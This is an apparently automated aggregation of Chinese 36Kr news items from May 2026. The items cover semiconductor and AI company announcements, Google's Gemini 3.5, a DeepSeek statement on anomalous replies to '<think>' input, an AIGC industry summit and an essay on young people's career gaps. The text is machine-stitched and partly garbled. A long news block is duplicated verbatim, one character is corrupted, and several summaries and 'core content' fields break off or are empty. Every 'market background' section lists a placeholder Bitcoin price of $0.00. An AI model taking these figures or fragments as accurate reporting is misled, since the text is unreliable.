36氪获悉，天眼查App显示，5月20日，上海电子材料国际供应链中心有限公司成立，法定代表人为顾春林，注册资本2亿人民币，经营范围包括互联网销售、电子专用材料销售、电子元器件批发、电��元器件零售等，由中芯国际控股有限公司、华虹集团旗下上海华虹投资发展有限公司、上海华谊控股集团有限公司、上海泓明数智科技有限公司、上海化学工业区企业发展有限公司共同持股。地瓜机器人与千寻智能达成战略合作 36氪获悉，5月20日，地瓜机器人与千寻智能宣布达成战略合作。双方已完成开源VLA模型Spirit v1.5与旭日S600旗舰大算力芯片的深度适配，联合打造高性能、可量产的软硬一体化解决方案。Spirit v1.5是国内首个综合性能超越国际标杆Pi0.5的开源VLA基础模型；旭日S600具备560TOPS（INT8）AI算力，可满足大模型端侧高效推理需求。微软与Proximus NXT合作，推出主权云解决方案 5月20日，微软与Proximus NXT宣布达成战略合作新里程碑，共同为比利时和卢森堡的公共及私营机构开发和部署主权云解决方案。该方案的核心是基于Azure Local的断网运行模式，它允许组织运行可临时或永久与公有云断开的自主云环境，同时保留Azure核心服务，以应对医疗、金融和公共行政等领域对数据主权、合规和业务连续性的高要求。目前，Proximus NXT已在比利时埃韦勒建立测试实验室。（界面新产品：圆周率智能发布 iMLite AI（悟境）端侧实时决策引擎 36氪获悉，今日，圆周率智能正式发布 iMLite AI（悟境）端侧实时决策引擎，聚焦户外智能硬件，覆盖户外、运动、出行三大场景。据了解，iMLite AI引擎实现100%离线独立运行、低功耗硬件适配、本地实时决策，构建“人+空间+行为”端侧决策逻辑。目前，iMLite AI已在50万+真实设备稳定部署，服务数十家B端客户。飞猪推出酒店商家智能助理 36氪获悉，5月20日，飞猪正式推出酒店商家智能助理，向平台上所有酒店免费开放。商家智能助理“上岗”后，一句话即可指挥AI批量调房态、改库存、录发票。它还能进行实时数据分析，向酒店提出科学的价格和库存管理策略参考；发现入住全流程中的服务关键点，帮助酒店优化服务，入住前主动关怀、离店后经营口碑。今日观点：郑栅洁：深入整治“内卷式”竞争，积极扩大有效益的投资 36氪获悉，5月20日，国家发展改革委主任郑栅洁主持召开民营企业座谈会，围绕当前经济形势、有关行业运行新特点新变化新趋势以及宏观政策在微观层面落实情况，听取意见建议。郑栅洁表示，国家发展改革委将深入贯彻党中央、国务院决策部署，全面落实“十五五”规划《纲要》各项任务，用好用足宏观政策，推动科技自立自强、产业链自主可控，深入整治“内卷式”竞争，积极扩大有效益的投资，完善民营企业参与国家重大项目建设长效机制，不断增强经济发展内生动力。其他值得关注的新闻：欧盟就落实欧美贸易协议实施方案达成临时协议欧洲议会国际贸易委员会20日发布声明称，欧洲议会与欧盟成员国当天在法国斯特拉斯堡就落实欧盟-美国贸易协议达成临时协议。根据临时协议，欧盟对美国工业品以及部分农产品、海产品给予关税优惠的相关规定，将于2029年12月31日到期，除非双方决定延长。欧盟同时将设立“保障机制”。如果美国商品进口激增并对欧盟工业或农业造成严重冲击，欧盟委员会可启动调查，并暂停相关优惠措施。在钢铁和铝产品问题上，如果美国到2026年底仍对欧盟钢铁及铝衍生产品维持高于15%的关税，欧盟委员会可暂停部分关税优惠政策。根据程序，欧洲议会国际贸易委员会预计将于6月2日举行特别会议审议相关文本，欧洲议会全会预计于6月中旬进行表决。（央视新闻）外交部：中方决定将对俄罗斯免签政策延长至2027年12月31日今天（5月20日），外交部发言人郭嘉昆主持例行记者会。总台央视记者问，普京总统访华期间，中俄双方在便利人员往来领域取得了什么新的成果？郭嘉昆表示，为持续便利中俄人员往来，中方决定将对俄罗斯免签政策延长至2027年12月31日。俄罗斯持普通护照人员来华经商、旅游观光、探亲访友、交流访问，过境不超过30天，可免办签证入境。（央视新闻）国际能源署：2026年全球近三成新车将为电动车国际能源署5月20日发布的《2026全球电动车展望》报告称，在能源危机背景下，各国政府与消费者正加速转向电动车，预计2026年全球电动车销量将达到2300万辆，占全球新车销量近30%。报告显示，2025年全球电动车销量同比增长20%，首次突破2000万辆，占全球新车销量的四分之一。（央视新闻）

文章来源

标题: 氪星晚报｜2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选；三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮；新交所与中国银行签署新版战略合作备忘录
来源: ai
链接: https://36kr.com/p/3816942423000196?f=rss
时间: 2026-05-20 19:40:36 +0800

核心内容

大公司：新加坡加码人工智能布局，英伟达将落地本地研发中心全球AI芯片巨头英伟达将在新加坡新设研发中心，这也是新加坡周三集中公布的一系列人工智能相关举措之一。这座全新实验室是英伟达在新加坡设立的首个研发据点，同时也是其在亚太地区布局的第二处同类研发机构。（新浪财经） 2026福布斯中国人工智能科技企业TOP 50发布，中关村科金入选 36氪获悉，《2026福布斯中国人工智能科技企业TOP 50》正式揭晓，中关村科金成功入选，是榜单中唯一的“企业级AI平台及应用公司”。据IDC最新报告，中关村科金位列中国大模型平台私有化市场份额第四；在2026年一季度应用类大模型项目公开中标数排名前五。公司服务行业客户超3000家，覆盖金融、政务、汽车、消费零售、企业出海等领域。三星劳资谈判破裂，威刚董事长称DRAM、NAND恐再掀涨价潮三星电子的劳资谈判再度宣告破裂，明天起将举行大罢工。威刚董事长陈立白表示，倘若罢工时长拉长，或将进一步冲击全球DRAM与NAND Flash供货，推动行业价格上行。陈立白称，当前三大存储原厂2026年绝大部分产能早已提前订满售出，不少客户已经开始洽谈2027年及更长期的供货合约。（财联社）云迹科技获全球首个千台级亲子场景智能体订单 36氪获悉，云迹科技近日与深圳中亿集团达成战略合作，旗下UP“小马”骑乘机器人签下千台采购订单。这是全球首个最大规模的亲子公共服务场景机器人智能体订单。亲子场景通过扫码骑乘直接面向C端收费，云迹UP系列产品采用“通用底盘+功能上舱”模块化设计，同一底盘可横跨酒店、商超、亲子等场景，大幅降低跨场景复制成本。新交所与中国银行签署新版战略合作备忘录 36氪获悉，5月19日，新加坡交易所集团（简称“新交所”）与中国银行股份有限公司（简称“中国银行”）签署战略合作备忘录，进一步深化双方长期合作关系。此次深化合作将支持有国际化发展需求的中国企业在新交所首次上市或二次上市，包括来自上海证券交易所和深圳证券交易所的中国企业。中芯国际、华虹集团等成立电子材料国际供应链中心，注册资本2亿 36氪获悉，天眼查App显示，5月20日，上海电子材料国际供应链中心有限公司成立，法定代表人为顾春林，注册资本2亿人民币，经营范围包括互联网销售、电子专用材料销售、电子元器件批发、电��元器件零售等，由中芯国际控股有限公司、华虹集团旗下上海华虹投资发展有限公司、上海华谊控股集团有限公司、上海泓明数智科技有限公司、上海化学工业区企业发展有限公司共同持股。地瓜机器人与千寻智能达成战略合作 36氪获悉，5月20日，地瓜机器人与千寻智能宣布达成战略合作。双方已完成开源VLA模型Spirit v1.5与旭日S600旗舰大算力芯片的深度适配，联合打造高性能、可量产的软硬一体化解决方案。Spirit v1.5是国内首个综合性能超越国际标杆Pi0.5的开源VLA基础模型；旭日S600具备560TOPS（INT8）AI算力，可满足大模型端侧高效推理需求。微软与Proximus NXT合作，推出主权云解决方案 5月20日，微软与Proximus NXT宣布达成战略合作新里程碑，共同为比利时和卢森堡的公共及私营机构开发和部署主权云解决方案。该方案的核心是基于Azure Local的断网运行模式，它允许组织运行可临时或永久与公有云断开的自主云环境，同时保留Azure核心服务，以应对医疗、金融和公共行政等领域对数据主权、合规和业务连续性的高要求。目前，Proximus NXT已在比利时埃韦勒建立测试实验室。（界面新产品：圆周率智能发布 iMLite AI（悟境）端侧实时决策引擎 36氪获悉，今日，圆周率智能正式发布 iMLite AI（悟境）端侧实时决策引擎，聚焦户外智能硬件，覆盖户外、运动、出行三大场景。据了解，iMLite AI引擎实现100%离线独立运行、低功耗硬件适配、本地实时决策，构建“人+空间+行为”端侧决策逻辑。目前，iMLite AI已在50万+真实设备稳定部署，服务数十家B端客户。飞猪推出酒店商家智能助理 36氪获悉，5月20日，飞猪正式推出酒店商家智能助理，向平台上所有酒店免费开放。商家智能助理“上岗”后，一句话即可指挥AI批量调房态、改库存、录发票。它还能进行实时数据分析，向酒店提出科学的价格和库存管理策略参考；发现入住全流程中的服务关键点，帮助酒店优化服务，入住前主动关怀、离店后经营口碑。今日观点：郑栅洁：深入整治“内卷式”竞争，积极扩大有效益的投资 36氪获悉，5月20日，国家发展改革委主任郑栅洁主持召开民营企业座谈会，围绕当前经济形势、有关行业运行新特点新变化新趋势以及宏观政策在微观层面落实情况，听取意见建议。郑栅洁表示，国家发展改革委将深入贯彻党中央、国务院决策部署，全面落实“十五五”规划《纲要》各项任务，用好用足宏观政策，推动科技自立自强、产业链自主可控，深入整治“内卷式”竞争，积极扩大有效益的投资，完善民营企业参与国家重大项目建设长效机制，不断增强经济发展内生动力。其他值得关注的新闻：欧盟就落实欧美贸易协议实施方案达成临时协议欧洲议会国际贸易委员会20日发布声明称，欧洲议会与欧盟成员国当天在法国斯特拉斯堡就落实欧盟-美国贸易协议达成临时协议。根据临时协议，欧盟对美国工业品以及部分农产品、海产品给予关税优惠的相关规定，将于2029年12月31日到期，除非双方决定延长。欧盟同时将设立“保障机制”。如果美国商品进口激增并对欧盟工业或农业造成严重冲击，欧盟委员会可启动调查，并暂停相关优惠措施。在钢铁和铝产品问题上，如果美国到2026年底仍对欧盟钢铁及铝衍生产品维持高于15%的关税，欧盟委员会可暂停部分关税优惠政策。根据程序，欧洲议会国际贸易委员会预计将于6月2日举行特别会议审议相关文本，欧洲议会全会预计于6月中旬进行表决。（央视新闻）外交部：中方决定将对俄罗斯免签政策延长至2027年12月31日今天（5月20日），外交部发言人郭嘉昆主持例行记者会。总台央视记者问，普京总统访华期间，中俄双方在便利人员往来领域取得了什么新的成果？郭嘉昆表示，为持续便利中俄人员往来，中方决定将对俄罗斯免签政策延长至2027年12月31日。俄罗斯持普通护照人员来华经商、旅游观光、探亲访友、交流访问，过境不超过30天，可免办签证入境。（央视新闻）国际能源署：2026年全球近三成新车将为电动车国际能源署5月20日发布的《2026全球电动车展望》报告称，在能源危机背景下，各国政府与消费者正加速转向电动车，预计2026年全球电动车销量将达到2300万辆，占全球新车销量近30%。报告显示，2025年全球电动车销量同比增长20%，首次突破2000万辆，占全球新车销量的四分之一。（央视新闻）

内容来源：ai 原文链接：https://36kr.com/p/3816942423000196?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：AI Agent（技术分析） 生成时间：2026-05-20T12:00:30.019501+00:00

8点1氪丨谷歌推出Gemini 3.5系列模型；DeepSeek回应用户“对话泄露”疑虑；全国存款十强城市出炉

Wed, 20 May 2026 09:00:57 +0000

原文摘要

今日热点导览

谷歌推出Gemini 3.5系列模型洁丽雅回应豪门内斗传闻，“毛巾少爷”1个月带货超500万元巨力索具连续第二日跌停前三星芯片负责人：明年内存将降价自费流感疫苗也可使用医保报销谷歌搜索宣布大改版，AI模式与代理助手全面嵌入

TOP 3 大新闻 DeepSeek回应用户“对话泄露”疑虑 5月19日，DeepSeek发布关于< think >字符触发模型异常回复的说明。近期关注到有用户反馈，在与DeepSeek模型的对话中输入< think >这类特殊字符后，模型偶发返回不可预期的内容，使部分用户产生了“对话泄露”的疑虑。针对这一问题，技术团队经全面排查后发现：输入< think >等字符触发返回异常内容，属于特殊字符引发的模型幻觉，不涉及安全问题或隐私泄露。DeepSeek表示，后续将通过针对性训练，优化模型在此类场景中的表现。据此前报道，5月18日，多位用户反映DeepSeek网页版出现功能漏洞，当输入“<think”字符时，其会自动加载出对某问题的回答。有用户反馈称，这些题目疑似其他用户所提的问题，甚至有用户反馈测试时还出现过他人八字相关的隐私内容。（第一财经）全国存款十强城市出炉记者通过梳理今年一季度各大城市的本外币存款余额（俗称“资金总量”），发现北京、上海、深圳、广州、杭州、成都、南京、重庆、苏州、天津是内地10个最“吸金”的城市。其中，北京成为中国首个30万亿元之城；广州成为中国内地第四个10万亿元之城，增速高达11.2%。上海是过去一年增量最多的城市，本外币存款净增2.857万亿元，南京则是过去一年增速最快的城市，同比增长14.03%。从城市排名看，除北京、上海、深圳牢据前三外，其他城市在近几年持续展开位次博弈。比如，广州、杭州展开对“第四城”的持久角力，成都、南京、重庆、苏州在6万亿元区间激烈角逐。从区域发展来看，长三角城市群的集体崛起，成渝双城加速突围，粤港澳大湾区则凭借制度创新构建起新优势。（21世纪经济报道）谷歌推出Gemini 3.5系列模型谷歌宣布推出Gemini 3.5 Flash模型，称这是谷歌迄今为止最快、最有效的模型。无论用户需要日常任务的帮助，还是多步骤的创意项目，Gemini 3.5 Flash 都能应对现实世界的复杂性，助用户迅速行动。谷歌表示，从今天起，谷歌的Gemini 3.5 Flash将向全球所有用户开放，并且免费使用，用户可以在模型下拉菜单中选择“3.5 Flash”来进行体验。(金十数据APP) 大公司/大事件谷歌搜索宣布大改版，AI模式与代理助手全面嵌入谷歌正在对其旗舰产品Google 搜索进行以AI为核心的全面升级。谷歌表示，基于新的 Gemini 3.5 Flash模型，“AI模式”和“AI概览”将进一步嵌入搜索框，实现更无缝的使用体验。搜索功能还将引入Gemini Spark，这是该公司推出的新一代智能代理AI助手，能够在搜索界面中执行任务或完成商品购买。同时，Gemini还将能够根据搜索请求定制生成图像、视频或代码。谷歌搜索负责人伊丽莎白·里德在谷歌2026年I/O开发者大会上表示：“这是我们标志性搜索框自25年前推出以来最大的一次升级。”(金十数据APP) 9.9元起，三大运营商齐上线Token套餐近日，三大运营商同时开展Token套餐业务。世界电信日当天，中国电信率先推出全国性试商用Token（词元）套餐，最低月租9.9元。紧随其后，中国移动、中国联通陆续上线同类服务，国内三大运营商正式全员入局，将AI算力包装成类似流量包的包月产品，用户可直接话费支付，便捷跨平台使用。其中，电信面向个人及家庭用户，中国电信设置轻享版、畅享版、尊享版三档套餐，月费分别为9.9元、29.9元、49.9元，对应每月1000万、4000万、8000万Tokens。中国移动分省推进，例如：上海地区推出1元40万Tokens的灵活计费模式，支持账号通用、跨平台使用，还可直接通过手机话费完成支付。中国联通主打福利与融合服务，上海企业用户可免费领3000万测试Tokens，订阅首购5折。（快科技）伊朗方面称有权对霍尔木兹海峡海底光缆收 “管理费” 伊朗伊斯兰革命卫队18日在社交媒体发布消息称，在伊方对霍尔木兹海峡 “实施管理” 后，“可宣布所有经过该水道的光纤电缆必须接受许可、监管并缴纳主权性费用”。伊朗伊斯兰革命卫队宣称，依据 1982 年《联合国海洋法公约》，伊朗可基于其对领海海床及底土的主权，对经过霍尔木兹海峡的海底光缆实施许可、监管、收费等管理措施。该消息援引相关报告称，霍尔木兹海峡的海底通信网络每天承载规模超 10 万亿美元的全球金融交易数据。一旦这一关键海上通信节点受到干扰，可能对地区乃至全球经济、金融及能源供应链带来每天 “数千万至数亿美元的直接和间接损失”。（新华社）追觅俞浩：我是i人，其实总共见过一次雷军，他治好了我的抑郁症近日，追觅科技创始人俞浩在接受采访中，分享了自身性格、创业过往以及与小米、雷军之间的渊源故事。采访中，他透露，自己性格其实是深度内向的“i人”。并称“不是因为我做这些没有朋友，是因为我没有朋友才做这些。我跟村里的大部分人玩不太到一块去。”访谈期间，谈及早年加入小米生态链的合作契机。俞浩透露“我其实一共只见过雷总一次，但我无数次说感谢他，比他们以为的更感谢。他真的治好了我的抑郁症。” 公开资料显示，追觅科技 2017年正式成立，同年年底入驻小米生态链，主打智能清洁家电赛道，早期融资也大多来自小米系资本。2021年10 月，追觅完成36亿元C轮大额融资，正式开启去小米化发展之路。（快科技）凯文·沃什将宣誓就任美联储主席凯文·沃什将于5月22日宣誓就任美国联邦储备委员会主席一职。一名白宫官员表示，美国总统特朗普届时将在白宫为沃什举行就职仪式。 5月13日，美国国会参议院以54票赞成、45票反对的投票结果正式确认，沃什将接替杰罗姆·鲍威尔出任美联储下一任主席，任期4年。鲍威尔的美联储主席任期已于15日结束，并已开始担任美联储临时主席。（澎湃新闻）伊朗股市恢复交易总台记者获悉，当地时间19日，伊朗德黑兰证券交易所恢复股票交易。据悉，这是伊朗股市停市约80天后重新恢复交易。据伊朗方面消息，目前仍有40多家在本轮冲突期间受损企业的股票尚未恢复交易，主要涉及化工和基础金属行业。（央视新闻）小米汽车新品牌电池供应商曝光记者从多位信源处获悉，小米汽车在昆仑车型上引入新电池供应商——中创新航。小米第三款车型的电池定点，在2024年年初敲定，当时首选的电池供应商是欣旺达，之后才确定中创新航为二供。目前，从小米给供应商的供应配额上来看，欣旺达的电池供应比例占60%，中创新航占40%。近期，有市场消息称，昆仑车型将独立为子品牌“寻天”（SKY NOMAD）。该新品牌主要聚焦家用、增程

文章来源

标题: 8点1氪丨谷歌推出Gemini 3.5系列模型；DeepSeek回应用户“对话泄露”疑虑；全国存款十强城市出炉
来源: tech
链接: https://36kr.com/p/3816885092910212?f=rss
时间: 2026-05-20 08:20:10 +0800

核心内容

今日热点导览

内容来源：tech 原文链接：https://36kr.com/p/3816885092910212?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-20T09:00:57.515905+00:00

第四届中国AIGC产业峰会在京顺利举办！近20位行业大咖解码Agent与非共识机遇

Wed, 20 May 2026 09:00:51 +0000

原文摘要

今日，由量子位主办的第四届中国AIGC产业峰会在京启幕。 2026年，AI产业一路高歌猛进。从“龙虾”到“Harness”，爆款Agent接连出圈、风靡全网。面对层出不穷的新业态与新玩法，不少从业者和普通用户都感到困惑：如何找准AI的使用方式？怎样把握产业机遇？又该如何跟上行业发展的步伐？正是在这一背景下，本届大会以「@所有人，马上AI起来」为主题，集结近20位行业重磅嘉宾，联动产业头部企业、新锐创业公司、顶尖学术力量，围绕AI Agent商业化落地、多模态技术突破、千行百业场景深耕、算力基础设施变革等核心议题，开启了一场深度交流与思想碰撞。

嘉宾阵容堪称豪华：既有昆仑万维、商汤、百度、蚂蚁、MiniMax、亚马逊云科技、京东等领军企业代表齐聚现场；也有复旦大学特聘教授邱锡鹏、香港大学助理教授黄超等顶尖学者带来前沿技术研判；还有盛大EverMind、太初元碁、风行在线、轻松健康集团、趣丸科技、ColaOS&MarsWave、EvoMap等一线实战玩家分享落地经验；以及硅谷Fusion Fund创始合伙人张璐带来AI产业与算力赛道新视角。与此同时，量子位重磅揭晓了“2026年度值得关注的AIGC企业”与“2026年度值得关注的AIGC产品”两大奖项，并同步发布了《2026年中国AI应用全景图谱报告》。

锚定技术革新，洞察行业发展核心趋势 2026年，AI Agent已从行业讨论的热点，演变为企业与开发者必须直面的现实议题。本届峰会上，多位大咖从不同视角拆解了Agent落地的关键路径与挑战。昆仑万维董事长兼CEO方汉从一线视角回答了“个人和企业如何应对Agent冲击”，他表示冲击是真实的，但关键不是要不要被冲击，而是怎么度过过渡期。亚马逊云科技产品技术部技术总监王晓野则聚焦“跨越Agent落地鸿沟”，拆解从顶级大模型到企业级AI Agent之间的工程化挑战与解决方案。香港大学助理教授、博士生导师黄超结合学术前沿视角，探讨了AI Agent范式变革带来的技术机遇与行业挑战。盛大集团副总裁、EverMind CEO邓亚峰分享了长期记忆驱动的自进化技术，阐释AI如何从工具型应用，演化为可持续成长的数字生产力系统。在Agent成为行业焦点的同时，为其提供底层支撑的大模型本身也在不断突破能力边界。商汤科技执行副总裁、首席科学家林达华深入分析了“从多模态统一到空间智能：迈向可感知、可生成、可行动的AI新前沿”。京东JoyInside业务负责人戴文军则将这一命题进一步推向物理世界，分享了AI从屏幕里走出来，走进真实终端、真实场景。复旦大学特聘教授、上海创智学院院长助理、模思智能创始人邱锡鹏带来了MOSS多模态大模型最新研发成果，分享了前沿技术的优化思路。深耕细分赛道，一线玩家分享落地实战具体到不同领域，机会究竟何在？本次峰会上，众多AI赛道的实战玩家给出了答案。他们带来了全行业可落地、可借鉴的成熟应用案例。风行在线CEO易正朝提出核心判断，认为从AI编程赋能开发创作，到AI视频革新内容生产，“众创才是AI生产力的核心杠杆”。百度秒哒产品总经理朱广翔分享了“人人都是创造者”的产品理念，展示了想象力释放生产力、AI赋能普通用户降本提效的全新模式。 MiniMax ToB中国区商业化负责人胡维琦以“Intelligence with Everyone”为题，分享了MiniMax在过去一年中的真实打法与思考。轻松健康集团执行副总裁马孝武则立足健康垂直领域，以“从循证智能体到AI驱动的健康服务增长飞轮”为题，阐述了以AI为核心的新型健康服务能力。此外，AI基础设施的范式重构也是今年大会关注的主线之一。 Fusion Fund创始合伙人张璐立足全球资本与产业的双重视角，提出“算力叙事重构”，深度解读了从训练到推理的AI基础设施新范式。太初元碁首席产品官、高级副总裁洪源则以“国产AI算力筑基Token智能新未来”为题，探寻国产算力适配新时代AI产业的发展路径。 GenAI Talk+Agent圆桌思辨大咖主题演讲环节之外，大会今年还安排了一场重磅GenAI Talk和一场观点密集的Agent圆桌。 GenAI Talk环节，蚂蚁灵波科技首席科学家沈宇军与量子位联合创始人兼总编辑李根，围绕核心命题“AI 2.0下半场，从AIGC到AIGA”展开深度对谈。对谈中，沈宇军回顾了过去几年AIGC在文本、图像、视频等领域的快速演进，并判断AI 2.0已进入下半场，正从AIGC向AIGA跃迁。他进一步指出，当AI从数字世界走向物理世界，技术挑战与落地机遇并存，蚂蚁灵波“通用大脑”正是对这一命题的回应。在技术层面，沈宇军介绍了从空间智能、灵巧操作到环境反馈的全栈技术布局。最后，沈宇军还分享了蚂蚁灵波的开源战略，并对具身智能走入千家万户做出展望。 Agent圆桌环节，主题定为“2026，Agent产品的不确定性与非共识机遇”。趣丸科技副总裁兼首席战略官、《屠龙之术》主理人庄明浩，ColaOS & MarsWave CEO冯雷，EvoMap创始人张昊阳同台思辨。嘉宾们深度对比了Agent产品的迭代逻辑和传统App的差异，分享了评判Agent产品价值的核心标准，探讨了模型快速迭代下的产品决策与功能规划思路。在此基础上，他们还预判了超级Agent与多专精协同Agent的未来发展形态，畅想了Agent生态全新协作与商业可能，解析了同质化竞争下的非共识突破口，并探讨了AI Agent规模化落地对行业从业者工作模式带来的全新变革。 2026年度值得关注的AIGC企业/产品榜单揭晓延续往届峰会传统，本次大会现场重磅揭晓“2026年度值得关注的AIGC企业”、“2026年度值得关注的AIGC产品”双榜单。本次评选收集到了数百份来自企业与产品团队的申报，量子位结合过去一年生成式AI企业与产品的实际表现、用户反馈与行业影响力，并参考数十位行业专家、投资人、技术负责人及产业从业者意见，评选出最终结果。 “2026年度值得关注的AIGC企业”榜单覆盖了从底层算力、基础模型到行业应用的全产业链环节。“2026年度值得关注的AIGC产品”榜单则横跨AI内容创作、智能客服、代码辅助、视频生成、企业知识管理、工业设计等多个赛道。

中国AI应用全景图谱报告发布大会上，量子位智库倾力打造的《2026年中国AI应用全景图谱报告》同步对外发布，展示了国内AI应用的市场格局与发展动态，并深入剖析了最具潜力与竞争力的产品和赛道。该报告横跨面向消费者的AI软硬件、深入千行百业的ToB垂直应用、支撑整个生态运转的底层开发层三大维度，提炼出了五条正在重塑行业的核心趋势： AI从“回答问题”进化为“完成任务”的Agent化浪潮；各大平台争夺用户默认入口的生态化竞争；DeepSeek重新定价整个行业、技术红利向应用层转移的模型普惠化；用户付费意愿真实觉醒的商业模式跑通；以及医疗、法律、

文章来源

标题: 第四届中国AIGC产业峰会在京顺利举办！近20位行业大咖解码Agent与非共识机遇
来源: tech
链接: https://36kr.com/p/3817353357968516?f=rss
时间: 2026-05-20 16:22:01 +0800

核心内容

内容来源：tech 原文链接：https://36kr.com/p/3817353357968516?f=rss

市场背景

BTC 价格：$0.00
24h 涨跌：+0.00%

AI Agent 加工：内容工厂（润色 + 结构化） 生成时间：2026-05-20T09:00:51.309248+00:00

当“躺平”、Gap被歧视，我们该如何度过奥德赛时期？ | 职场极端气候 ②

Wed, 20 May 2026 09:00:45 +0000

原文摘要

图源：公众号「有三思 U Sense」） 2026年2月，小红书博主橘一橙NiceFriend发布了一条视频。她在视频里把奥德赛时期定义为“对事业、情感以及身份认同产生强烈焦虑和迷茫的阶段”，将之概括为“成年人类的未成年”。这条视频获得10万+点赞，8.6万收藏。 “奥德赛时期”这个词并非中文原生。2007年，《纽约时报》专栏作家大卫·布鲁克斯发表了同名评论文章，借用荷马史诗中奥德修斯战后漂泊十年才返回家乡的意象，描述青春期与成年期之间一段被拉长的过渡期。这个概念在西方世界沉寂了近二十年，却在2020年代的中国年轻人中间获得了第二次生命。这个词在中文互联网的流行与古希腊史诗关系不大。它胜在提供了一种叙事框架：把结构性困境包装成主动探索，让被迫漂泊看起来像是英雄旅程。2026年，它持续占据了小红书、B站和抖音的热搜位置。普林斯顿大学社会学家罗伯特·伍斯诺在《婴儿潮之后》中指出：当代年轻人在高度结构化的童年中成长，毕业后却进入了一个充满不确定性和多种可能的世界。但中西方的语境存在显著差异。西方的奥德赛时期更多是一种自愿的延迟成年，中国的版本则混杂着被动的结构性失序：考研考公的内卷、大厂的35岁门槛、房价与工资的脱节、社会时钟对“三十而立”的执念。当旧的成功路径不再适用，命名困境本身就成了出口。过去五年，中国年轻人一直在寻找新词汇来解释同一种困境：2016年的“躺平”，2023年的“孔乙己长衫”与“Gap歧视”，B站青年节献礼从2020年的《后浪》到2026年的《赢》多次聚焦青年成长，引起讨论和争议。“奥德赛时期”是这条谱系的新一站——它比其他词更温和，更接近积极的叙事框架，同时承认了困境与探索，也因此更容易被各方接受。而当这个词从文学隐喻变成生存现实，中国青年们该如何更职业化地度过这段漂泊？

诊断：四种典型的奥德赛画像 ╱ 01 Step1：先算清硬账 ╱ 02 Step2：做好原型设计，降低试错成本 ╱ 03 Step3：积累三种可迁移资产 ╱ 04 退出机制：三种情景的应对策略 ╱ 05 尾声：为寻找答案的漂泊争取更多时间 ╱ 06

诊断：四种典型的奥德赛画像画像一：大厂离职后的系统性探索 2023年3月，陈云飞辞去大厂管理职务。此前十年，他一直在互联网公司的用户研究与运营岗位工作。离职后，他带着积蓄开始全球旅居，从泰国、印尼到日本、欧洲，给自己设定了一年期限，做好了这一年没有收入的准备。像陈云飞这样的人，主动离开主流职业轨道，进入一段有计划的探索期。他们通常具备十年左右的工作经验和一定的积蓄，离职绝非逃避，是主动选择的“调研”。画像二：考研考公失败后的长期漂泊杰基（化名），南京大学考古系毕业。考研北大失败，考公成绩至今未查，北漂住进城郊群租房。十年间，他换了30多份工作，房产中介、地推员、快递、HR都做过。 “处处是难以启齿的耻感，和死循环。”他这样回忆。做HR期间，他攒下几十万。33岁那年，他裸辞搬到北京郊区，月租金加社保5000块，开始做自媒体创作，一年只挣了一万块，全靠积蓄活着。 2023年初，他发布了一条讲述自己“失败”经历的视频，考研出分后数据突然上涨，上了热门。评论区里，年轻人详细剖析自己的经历，那条“名校毕业几年，考不上编，考不上研，考不上公，工作也不顺，没有钱”的留言获得了数万点赞。画像三：裸辞旅居后的现实落差 2024年4月，一对湖南情侣裸辞前往大理寻求旅居生活。他们怀揣两三千块的月租预算，想找个交通方便、不太偏僻的院子，结果根本找不到。虽然到处都有房子，但月租的不租，日租的又太贵。他们在短租民宿只剩两天到期时，房子还没着落，五一假期临近，房价每晚要加两三百。女生在视频里说：“真的我现在想回长沙，不想待在这儿了。并没有很放松的感觉，文化什么我都没感觉到，好崩溃。” 评论区几乎无人同情，一条高赞评论写道：“别让前老板看到这条视频，怕他笑死。” 画像四：Gap Year后的求职困境 26岁的何迪在Gap的第10个月投递了100多份简历，仅收到一个面试机会。当她试图用“自我提升”模糊这段经历时，HR连续追问：“简历上消失的这一年，你在做什么？”“空窗这么久是出于什么考虑？” 某互联网大厂猎头透露，公司系统会自动筛除Gap超过3个月的简历。一位年薪300万的算法工程师，就因一年空窗期被迫降薪求职，却仍被HR以“技术断层”为由拒绝。 Step1：先算清硬账奥德赛时期的第一道门槛不是心理建设，是资金与社保的硬约束。社保断缴的代价 2025年，社保网发文再次明确 [1] ，灵活就业人员社保政策出现重要调整：最低缴费年限将从15年逐步提高，2030年起每年增加6个月，直至20年；男性法定退休年龄从60岁逐步延至63岁，女性从55岁延至58岁。对于断缴的灵活就业人员，原则上不允许事后补缴。这意味着奥德赛时期越长，未来的社保成本越高。医保的断缴风险同样现实。多数地区规定，断缴3个月内补缴可次月恢复待遇；超过3个月，部分地区不允许补缴，或需经历较长等待期。社保断缴的直接后果是医疗保障真空，这在长期漂泊中是一个不可忽视的隐患。资金储备公式杰基的模式依赖几十万积蓄和每月5000元的低消耗。陈云飞的模式依赖前十年攒下的资产和“一年不赚钱”的心理准备。两种模式都需要在启动前算清账：

● 资金储备公式地理套利实操在一线城市月入两万可能存不下钱，但在三四线城市，同样的收入足以覆盖生活并留出试错空间。大理、景德镇、安吉等地兴起的数字游民社区，正是这种空间换时间策略的物理载体。Cohere社区创始人徐仲观察到，当前不少年轻人主动谋求转型，数字游民社区正成为他们落地新职业的重要平台。但旅居不等于度假。抖音用户“富贵花花”的教训在于：没有提前租房、没有计算五一旺季溢价、没有预留足够的现金流。她的旅居人均花费远超预算。一人公司的注册门槛在中国，一人公司的注册门槛已经大幅降低。现行《公司法》允许个人设立一人公司，最低注册资本可低至1元，且支持认缴制。注册流程包括：核名、提交资料、领取执照、刻章备案、银行开户、税务登记。拿到执照后30日内要到税务局完成税务登记，选择小规模纳税人或一般纳税人身份。这为奥德赛时期的职场人提供了合法的经营主体，便于开具发票、签署合同和建立商业信用。 [1] 《全国人民代表大会常务委员会关于实施渐进式延迟法定退休年龄的决定》2024年9月发布，2025年中旬人社部和社保网发文再次明确 Step2：做好原型设计，降低试错成本如果说奥德赛计划是蓝图，原型设计就是样品测试。它指的是像设计师做产品原型一样，用最小成本、最快速度去体验你想要的人生，而不是直接投入全部身家。

人生采访：找到正在过你想过的那种生活的人，问几个具体问题：你第一个客户是怎么来的？月入多少

文章来源

标题: 当“躺平”、Gap被歧视，我们该如何度过奥德赛时期？ | 职场极端气候 ②
来源: ai
链接: https://36kr.com/p/3816045694098952?f=rss
时间: 2026-05-20 08:02:42 +0800

核心内容

人生采访：找到正在过你想过的那种生活的人，问几个具体问题：你第一个客户是怎么来的？月入多少

